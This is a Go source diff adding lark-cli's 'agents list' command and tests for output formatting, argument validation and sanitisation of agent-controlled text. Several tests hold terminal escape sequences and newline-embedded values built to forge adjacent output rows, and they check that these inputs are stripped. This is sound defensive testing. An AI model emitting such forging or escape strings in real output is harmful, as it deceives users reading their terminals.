+			Description: "生成前需确认\x1b[2J口径",
+			Questions: []iagents.Question{
+				{QuestionID: "q1_a8", Question: "按什么维度拆分？", Options: []iagents.Option{
+					{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
+					{OptionID: "by_category", Label: "按品类"},
+				}},
+				{QuestionID: "q2_a8", Question: "时间范围？"},
+				{QuestionID: "q3_a8", Question: "包含哪些区域？", MultiSelect: true, Options: []iagents.Option{
+					{OptionID: "east", Label: "华东"},
+				}},
+			},
+		},
+	})
+	text := out.String()
+	for _, want := range []string{
+		"input_required: 报表生成确认 — 生成前需确认",
+		"[1] 按什么维度拆分？",
+		"by_region: 按大区 — 华东/华北/华南汇总",
+		"by_category: 按品类",
+		"[2] 时间范围？（自由文本）",
+		"[3] 包含哪些区域？（可多选）",
+		"east: 华东",
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty task should render question-group part %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI in group text must be stripped, got %q", text)
+	}
+
+	// A single untitled question renders as the headline itself — no numbering.
+	out.Reset()
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_2", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
+			{QuestionID: "q1_b2", Question: "请补充时间范围"},
+		}},
+	})
+	single := out.String()
+	if !strings.Contains(single, "input_required: 请补充时间范围（自由文本）") {
+		t.Errorf("single untitled question should be the headline, got:\n%s", single)
+	}
+	if strings.Contains(single, "[1]") {
+		t.Errorf("single question must not be numbered, got:\n%s", single)
+	}
+}
+
+func TestPrintTaskPrettyRendersOutputOnlyTask(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted,
+		Messages: []iagents.Message{{Role: "agent", Parts: []iagents.Part{
+			{Type: "text", Text: "执行完成"},
+			{Type: "data", Data: map[string]interface{}{"kind": "qa_chart"}},
+		}}},
+		Artifacts: []iagents.Artifact{{ID: "artifact_1", Kind: "table", Name: "销售表", Status: "ready"}},
+	})
+	text := out.String()
+	for _, want := range []string{"reply: 执行完成", "data_parts: 1 (qa_chart)", "artifact artifact_1: table 销售表 [ready]"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty task should render %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "request: 执行完成") {
+		t.Errorf("output-only task must not duplicate the first agent reply as request, got:\n%s", text)
+	}
+}
+
+func TestPrintTaskPrettyUsesLastTextPartAsReply(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateCompleted,
+		Messages: []iagents.Message{{Role: "agent", Parts: []iagents.Part{
+			{Type: "text", Text: "开始处理"},
+			{Type: "data", Data: map[string]interface{}{"kind": "qa_table"}},
+			{Type: "text", Text: "执行完成"},
+		}}},
+	})
+	if text := out.String(); !strings.Contains(text, "reply: 执行完成") || strings.Contains(text, "reply: 开始处理") {
+		t.Fatalf("pretty should use the last text part, got:\n%s", text)
+	}
+}
+
+// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
+// only occurs when options structs are built directly in tests) pass.
+func TestValidateFormat_Valid(t *testing.T) {
+	for _, f := range []string{"", "json", "pretty"} {
+		if err := validateFormat(f); err != nil {
+			t.Errorf("format %q should be valid: %v", f, err)
+		}
+	}
+}
+
+// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
+// validation/invalid_argument error (exit 2) whose hint lists the legal values
+// and whose param names the flag with the -- prefix.
+func TestValidateFormat_Invalid(t *testing.T) {
+	err := validateFormat("yaml")
+	if err == nil {
+		t.Fatal("--format yaml should error (currently silently treated as json)")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+	if !strings.Contains(p.Hint, "json | pretty") {
+		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--format" {
+		t.Errorf("param should be --format, got %+v", verr)
+	}
+}
+
+// agentRootTree builds `lark-cli agents ...` as production wires it (root Use
+// lark-cli), with a nil Factory: format validation must fire at the RunE
+// entry, before any Factory access.
+func agentRootTree() *cobra.Command {
+	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
+	root.AddCommand(NewCmdAgents(nil))
+	return root
+}
+
+// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
+// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
+// hint, uniformly, before any provider/Factory is touched.
+func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
+	leaves := [][]string{
+		{"agents", "list", "--format", "yaml"},
+		{"agents", "card", "example:x", "--format", "yaml"},
+		{"agents", "send", "example:x", "--text", "hi", "--format", "yaml"},
+		{"agents", "task", "get", "example:x", "t1", "--format", "yaml"},
+		{"agents", "task", "list", "example:x", "--format", "yaml"},
+		{"agents", "task", "cancel", "example:x", "t1", "--format", "yaml"},
+		{"agents", "context", "list", "example:x", "--format", "yaml"},
+		{"agents", "context", "get", "example:x", "c1", "--format", "yaml"},
+		{"agents", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
+	}
+	for _, argv := range leaves {
+		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
+			root := agentRootTree()
+			root.SetOut(&bytes.Buffer{})
+			root.SetErr(&bytes.Buffer{})
+			root.SetArgs(argv)
+			err := root.Execute()
+			if err == nil {
+				t.Fatalf("%v should report a --format validation error", argv)
+			}
+			if !errs.IsValidation(err) {
+				t.Fatalf("should be a validation error, got %T: %v", err, err)
+			}
+			if output.ExitCodeOf(err) != output.ExitValidation {
+				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok || !strings.Contains(p.Hint, "json | pretty") {
+				t.Errorf("hint should contain json | pretty, got %+v", p)
+			}
+		})
+	}
+}
+
+// TestFormatHelpTextUniform pins the mandated uniform help text
+// "output format: json (default) | pretty" across every leaf that has --format.
+func TestFormatHelpTextUniform(t *testing.T) {
+	cmds := map[string]*cobra.Command{
+		"list":           NewCmdAgentList(nil),
+		"card":           NewCmdAgentCard(nil),
+		"send":           NewCmdAgentSend(nil, nil),
+		"task get":       NewCmdAgentTaskGet(nil),
+		"task list":      NewCmdAgentTaskList(nil),
+		"task cancel":    NewCmdAgentTaskCancel(nil),
+		"context list":   NewCmdAgentContextList(nil),
+		"context get":    NewCmdAgentContextGet(nil),
+		"context delete": NewCmdAgentContextDelete(nil),
+	}
+	for name, cmd := range cmds {
+		fl := cmd.Flags().Lookup("format")
+		if fl == nil {
+			t.Errorf("%s should have a --format flag", name)
+			continue
+		}
+		if fl.DefValue != "json" {
+			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
+		}
+		if fl.Usage != "output format: json (default) | pretty" {
+			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
+		}
+	}
+}
+
+// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
+// all removed before agent text reaches a terminal.
+func TestStripANSI(t *testing.T) {
+	for _, tt := range []struct{ in, want string }{
+		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
+		{"a\x1bb", "ab"}, // bare ESC
+		{"t\x1b]0;evil\x07x", "tx"},
+		{"clean 文本", "clean 文本"},
+	} {
+		if got := stripANSI(tt.in); got != tt.want {
+			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
+		}
+	}
+}
+
+// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count — and the agent-controlled text stripped of
+// ANSI escapes.
+func TestPrintTaskPretty(t *testing.T) {
+	long := strings.Repeat("字", 130)
+	task := &iagents.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: "sess_1",
+		State:     iagents.StateCompleted,
+		Messages: []iagents.Message{{
+			Role:  "agent",
+			Parts: []iagents.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
+		}},
+		Artifacts: []iagents.Artifact{{ID: "a1"}, {ID: "a2"}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+	text := out.String()
+
+	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
+	}
+	if strings.Contains(text, long) {
+		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
+	}
+	if !strings.Contains(text, strings.Repeat("字", 120)) {
+		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
+// fix: agent text containing newlines must not be able to fake an adjacent
+// field row ("done\nstate: completed") — \n/\t in single-line values collapse
+// to spaces, so exactly one state: line exists.
+func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
+	task := &iagents.AgentTask{
+		TaskID: "chat_1",
+		State:  iagents.StateFailed,
+		Messages: []iagents.Message{{
+			Role:  "agent",
+			Parts: []iagents.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
+		}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+
+	var stateLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "state: ") {
+			stateLines++
+		}
+	}
+	if stateLines != 1 {
+		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
+	}
+	if !strings.Contains(out.String(), "state: failed") {
+		t.Errorf("the real state line should remain, got:\n%s", out.String())
+	}
+	if !strings.Contains(out.String(), "reply: done state: completed ok") {
+		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
+	}
+}
+
+// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
+// the context title row.
+func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagents.ContextDetail{
+		ContextID: "sess_1",
+		Title:     "标题\ncontext_id: forged",
+	})
+	var idLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "context_id: ") {
+			idLines++
+		}
+	}
+	if idLines != 1 {
+		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
+	}
+}
+
+// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
+func TestPrintTaskPretty_NilTask(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, nil)
+	if out.Len() == 0 {
+		t.Error("nil task should print a placeholder line")
+	}
+}
+
+// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
+// naming the json fields (now including UPDATED_AT + SUMMARY), then one
+// tab-separated row per task. Summary is agent-controlled, so it is
+// ANSI-stripped AND newline/tab-flattened via kvValue.
+func TestPrintTaskSummariesTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskSummariesTSV(out, []iagents.TaskSummary{
+		{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateCompleted, IsTerminal: true,
+			UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
+	})
+	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
+	if len(lines) != 2 {
+		t.Fatalf("should have a header + 1 data row, got %q", out.String())
+	}
+	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
+		t.Errorf("header columns should match the json field names, got %q", lines[0])
+	}
+	// Summary: ANSI escape stripped, newline flattened to a space.
+	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
+		t.Errorf("data row mismatch, got %q", lines[1])
+	}
+}
+
+// TestPrintContextsTSV pins the context-list pretty spec: header row (now
+// carrying the UPDATED_AT / AWAITING_INPUT rollup columns — no TASK_COUNT,
+// which is a `context get` field) plus rows, with the agent-controlled Title
+// stripped of ANSI escapes.
+func TestPrintContextsTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextsTSV(out, []iagents.ContextSummary{
+		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
+			Title: "\x1b[2J销售分析", AwaitingInput: true},
+	})
+	text := out.String()
+	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
+		t.Errorf("should have a header row with the rollup columns, got %q", text)
+	}
+	if !strings.Contains(text, "销售分析") {
+		t.Errorf("should contain the title text, got %q", text)
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
+	}
+	// The awaiting_input rollup directly trails the title — no TASK_COUNT column
+	// in between.
+	if !strings.Contains(text, "销售分析\ttrue\n") {
+		t.Errorf("should carry the awaiting_input rollup right after the title, got %q", text)
+	}
+}
+
+// TestPrintContextDetailPretty pins the context-get pretty rendering as a
+// conversation overview: metadata + the task_count / awaiting_input rollup and
+// a one-line active_task digest — NOT a full tasks[] list (that is `agents task
+// list --context-id`). Title and the active-task Summary are agent-controlled,
+// so both are ANSI-stripped + newline-flattened.
+func TestPrintContextDetailPretty(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagents.ContextDetail{
+		ContextID:     "sess_1",
+		CreatedAt:     "2026-07-05T10:00:00+08:00",
+		UpdatedAt:     "2026-07-05T12:00:00+08:00",
+		Title:         "\x1b[31m分析\x1b[0m",
+		TaskCount:     iagents.Int(2),
+		AwaitingInput: true,
+		ActiveTask: &iagents.TaskSummary{
+			TaskID: "chat_2", State: iagents.StateInputRequired,
+			UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
+		},
+	})
+	text := out.String()
+	for _, want := range []string{
+		"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
+		"task_count: 2", "awaiting_input: true", "active_task: input_required",
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	// active-task Summary: newline flattened to a space.
+	if !strings.Contains(text, "请提供 季度") {
+		t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences must be stripped: %q", text)
+	}
+	// The full task enumeration must NOT appear here anymore.
+	if strings.Contains(text, "tasks:") {
+		t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
+	}
+
+	// nil TaskCount = the provider cannot supply the count: the line is omitted
+	// instead of printing a misleading 0.
+	out.Reset()
+	printContextDetailPretty(out, &iagents.ContextDetail{ContextID: "sess_2"})
+	if strings.Contains(out.String(), "task_count") {
+		t.Errorf("a nil TaskCount should omit the task_count line, got %q", out.String())
+	}
+}
+
+// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
+// built from the real command path + Use shape, so the caller learns what is
+// missing instead of cobra's bare "accepts 2 arg(s)".
+func TestExactArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agents", "task", "get", "example:x"}) // missing task-id
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("task get with a single argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents task get <agent_ref> <task-id>") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+}
+
+// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
+// (`agents list [scheme]`).
+func TestMaximumArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agents", "list", "example", "extra"})
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("list with more than 1 positional argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents list [scheme]") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+}

cmd/agents/list.go

@@ -0,0 +1,278 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// providerInfo describes a registered provider adapter in `agents list` output.
+// Every field is sourced from the registered iagents.Provider (the single
+// source of truth).
+type providerInfo struct {
+	Scheme         string `json:"scheme"`
+	Label          string `json:"label"`
+	AgentRefFormat string `json:"agent_ref_format"`
+	Kind           string `json:"kind"`
+	AgentIDSource  string `json:"agent_id_source"`
+	// ListParams documents the business parameters `agents list <scheme>` itself
+	// takes — surfaced HERE (the offline, always-reachable provider listing)
+	// because at list time the caller holds no agent_ref yet, so a card-based
+	// hint would point at an unreachable road.
+	ListParams []iagents.CardParam `json:"list_parameters,omitempty"`
+}
+
+// listOptions holds all inputs for `agents list [scheme]`.
+type listOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Scheme    string
+	Params    []string
+	Format    string
+	As        string
+	PageSize  int
+	PageToken string
+}
+
+// NewCmdAgentList builds `agents list [scheme]`. Without an argument it
+// enumerates the registered provider adapters with their metadata — a
+// pure, API-free listing. With a scheme it performs second-level discovery:
+// catalog providers enumerate offline from their static set; instance providers
+// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
+// with the agent_id_source guidance). Risk=read.
+func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
+	opts := &listOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list [scheme]",
+		Short: "List registered agent providers, or enumerate the agents under one provider",
+		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
+		Args:  maximumArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			if len(args) == 1 {
+				opts.Scheme = args[0]
+			}
+			return agentListRun(opts)
+		},
+	}
+	// --page-size / --page-token apply only to the instance enumeration path
+	// (prov.ListAgents); the offline catalog listing and the no-scheme provider
+	// listing ignore them.
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	// --as only matters for the online `list <scheme>` enumeration (an instance
+	// provider's ListAgents call); the no-scheme provider listing is offline and
+	// identity-independent, so it ignores --as.
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentListRun dispatches `agents list [scheme]`: with a scheme it lists that
+// provider's agents (second-level discovery); without it renders the provider
+// listing. JSON envelope is the default; `pretty` is the opt-in human view.
+func agentListRun(opts *listOptions) error {
+	if opts.Scheme != "" {
+		return agentListSchemeRun(opts)
+	}
+	// The no-scheme form is a pure offline registry listing — business params
+	// have no target operation, so reject explicitly rather than silently
+	// ignoring what the caller thought they were passing.
+	if len(opts.Params) > 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--param 仅在 agents list <scheme> 时有意义（无 scheme 的列表是纯本地枚举）").
+			WithParam("--param").
+			WithHint("补充 scheme 重发，如 lark-cli agents list <scheme> --param k=v；各 provider 的 list 参数见本命令输出的 list_parameters")
+	}
+
+	f := opts.Factory
+	providers := listProviders()
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
+		}
+		// agent_id_source is a full sentence — a TSV column would blow out the
+		// row width, so surface it as a per-provider footer instead. This is the
+		// single most important "where do I get an agent_id" cue for newcomers
+		// and must not vanish in the human-readable view.
+		fmt.Fprintln(f.IOStreams.Out)
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
+		}
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:     true,
+		Data:   map[string]interface{}{"providers": providers},
+		Meta:   listMeta(len(providers)),
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentListSchemeRun runs `agents list <scheme>`: second-level enumeration for
+// one provider. A catalog provider enumerates OFFLINE from its static set
+// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
+// ListAgents hook (needs a configured client); an instance provider without that
+// hook is not enumerable and returns unsupported_capability + the AgentIDSource
+// hint — surfaced before the client is built.
+func agentListSchemeRun(opts *listOptions) error {
+	f := opts.Factory
+	prov, ok := iagents.Info(opts.Scheme)
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 agent provider '%s'，当前支持: %s",
+			opts.Scheme, iagents.KnownSchemes()).
+			WithHint("用 lark-cli agents list 查看可用 provider")
+	}
+
+	var agents []iagents.AgentSummary
+	var identity string           // set only on the online (instance) path, which resolves one
+	var pageInfo iagents.PageInfo // set only on the online (instance) path
+	catalog := prov.Kind() == iagents.KindCatalog
+	if catalog {
+		// Offline catalog enumeration takes no business params (ListParams
+		// requires a ListAgents hook); validate against the empty set so a stray
+		// --param is rejected with the same teaching error instead of ignored.
+		// The catalog set is finite and offline, so it is UNPAGED: --page-size /
+		// --page-token are ignored on this path (documented on the command).
+		if _, err := validateListParams(opts.Params, nil, opts.Scheme); err != nil {
+			return err
+		}
+		agents = prov.ListCatalog(resolvedBrand(opts.Factory)) // offline, brand-filtered
+	} else {
+		// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
+		if prov.ListAgents == nil {
+			return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
+				"provider '%s' 暂不支持列举 agent", opts.Scheme).
+				WithHint("%s", prov.AgentIDSource)
+		}
+		// --page-size is validated uniformly in RunE (alongside validateFormat), so
+		// this paginated path does not re-check it here.
+		// Enumeration is a real online call with no agent_id, so it runs the same
+		// gates every ref-addressed online verb runs (via resolveSpec +
+		// preflightScopesForRef): the global user|bot whitelist, the provider's
+		// identity subset, and the all-or-nothing scope preflight — keyed on the
+		// scheme since there is no ref.
+		// agentID is empty (enumeration is not scoped to a single agent).
+		id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
+		if err := f.CheckIdentity(id, supportedIdentities); err != nil {
+			return err
+		}
+		if err := checkProviderIdentity(f, id, prov); err != nil {
+			return err
+		}
+		identity = string(id)
+		// list is a provider-level operation: params validate against ListParams
+		// (no spec, so no cross-operation reverse lookup); the error hint points
+		// at `agents list` output's list_parameters, not at an agent card the
+		// caller cannot address yet (it holds no agent_ref at list time).
+		vp, err := validateListParams(opts.Params, prov.ListParams, opts.Scheme)
+		if err != nil {
+			return err
+		}
+		rt, err := runtimeFor(f, id, "", vp.Resolved)
+		if err != nil {
+			return err
+		}
+		if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
+			return err
+		}
+		agents, pageInfo, err = prov.ListAgents(opts.Cmd.Context(), rt,
+			iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+		if err != nil {
+			return err
+		}
+	}
+	if agents == nil {
+		agents = []iagents.AgentSummary{} // always emit [] not null
+	}
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		// Name/Description are agent-controlled remote strings — ANSI-strip
+		// them before writing to the terminal.
+		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
+		for _, a := range agents {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
+		}
+		return nil
+	}
+
+	// Catalog is unpaged (plain count); the instance path carries has_more /
+	// page_token and a next-page action when there are more agents.
+	meta := listMeta(len(agents))
+	if !catalog {
+		meta = listMetaPage(len(agents), pageInfo, listSchemeNext(opts, f, pageInfo))
+	}
+	env := output.Envelope{
+		OK:       true,
+		Identity: identity, // empty for the offline catalog path (omitempty)
+		Data:     map[string]interface{}{"agents": agents},
+		Meta:     meta,
+		Notice:   output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// listSchemeNext builds the next-page action for the instance `list <scheme>`
+// enumeration, replaying the scheme with the returned cursor. The scheme is
+// gated by safeNextID (no colon, so safeNextRef does not apply); a failing scheme
+// drops the action (the cursor still rides meta.page_token as data).
+func listSchemeNext(opts *listOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextID(opts.Scheme) {
+		return nil
+	}
+	next := nextPageAction(fmt.Sprintf("lark-cli agents list %s", opts.Scheme), opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// listProviders builds the provider descriptors from the built-in registry so
+// the listing stays in sync with whatever adapters are registered.
+func listProviders() []providerInfo {
+	schemes := iagents.RegisteredSchemes()
+	out := make([]providerInfo, 0, len(schemes))
+	for _, s := range schemes {
+		// s comes from RegisteredSchemes, so Info always succeeds.
+		prov, _ := iagents.Info(s)
+		out = append(out, providerInfo{
+			Scheme:         s,
+			Label:          prov.Label,
+			AgentRefFormat: prov.AgentRefFormat(),
+			Kind:           string(prov.Kind()),
+			AgentIDSource:  prov.AgentIDSource,
+			ListParams:     prov.ListParams,
+		})
+	}
+	return out
+}

cmd/agents/list_test.go

@@ -0,0 +1,594 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// listFactory returns a Factory writing to a fresh stdout buffer plus a
+// listOptions bound to it, ready to drive agentListRun without any API.
+func listFactory() (*listOptions, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
+	return &listOptions{Factory: f, Format: "json"}, out
+}
+
+// decodeProviders unmarshals the envelope on out and returns data.providers.
+func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
+	t.Helper()
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
+	}
+	data, _ := env.Data.(map[string]interface{})
+	providers, _ := data["providers"].([]interface{})
+	return providers
+}
+
+// findProvider returns the provider entry whose scheme matches, or nil.
+func findProvider(providers []interface{}, scheme string) map[string]interface{} {
+	for _, pv := range providers {
+		p, _ := pv.(map[string]interface{})
+		if p["scheme"] == scheme {
+			return p
+		}
+	}
+	return nil
+}
+
+// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
+// example entry carries all fields sourced from iagents.Info (the single source
+// of truth), the legacy free-text description field is gone, and discoverable
+// is no longer exposed.
+func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
+	opts, out := listFactory()
+	if err := agentListRun(opts); err != nil {
+		t.Fatalf("list should not error: %v", err)
+	}
+	prov, ok := iagents.Info("example")
+	if !ok {
+		t.Fatal("the example provider should already be registered (top-level agent blank import)")
